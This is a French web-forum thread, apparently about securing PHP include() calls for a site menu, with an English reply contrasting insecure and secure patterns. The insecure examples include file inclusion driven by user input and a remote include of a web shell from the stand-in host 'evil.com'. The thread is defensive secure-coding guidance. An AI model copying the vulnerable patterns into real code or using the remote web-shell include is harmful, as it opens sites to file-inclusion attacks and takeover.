Discussion :

[slackuser]

Bonsoir,
une question qui je pense est vraiment très simple.
Comment sécuriser l'appel au menu et l'include.
J'ai vu un systeme de tableau avec le nom des pages du menu dedans mais c'est pas très clair.
Si je pouvais avoir un exemple simple et efficace avec un explication rapide pour sécurisé tout ça, ce serait tip top !!
En vous remerciant

Mes fichiers :

menu.php

Code html :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
	<nav class="topnav">
		<ul>
			<li><a href="accueil.php">accueil</a></li>
			<li><a href="meteo.php">meteo</a></li>
			<li><a href="statistiques">statistiques</a></li>
		</ul>
	</nav>

index.php

Code html :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
<div class="meteo">
<?php @ require_once ("meteo.php"); ?>
</div>

meteo.php

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

echo "test";

[slackuser]

It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.

Insecure (Directory Traversal)

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
<?php 
include($_GET['file']);
?>

Insecure (URL fopen - If enabled)

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
<?php 
include('http://evil.com/c99shell.php');
?>

Insecure

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
<?php 
include('./some_dir/' . $_GET['file']);
?>

Partially Insecure ( *.php files are vulnerable )

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

Secure (Though not sure why anyone would do this.)

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

Secure

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
<?php 
include('./includes/somefile.php');
?>

une bonne soirée à tous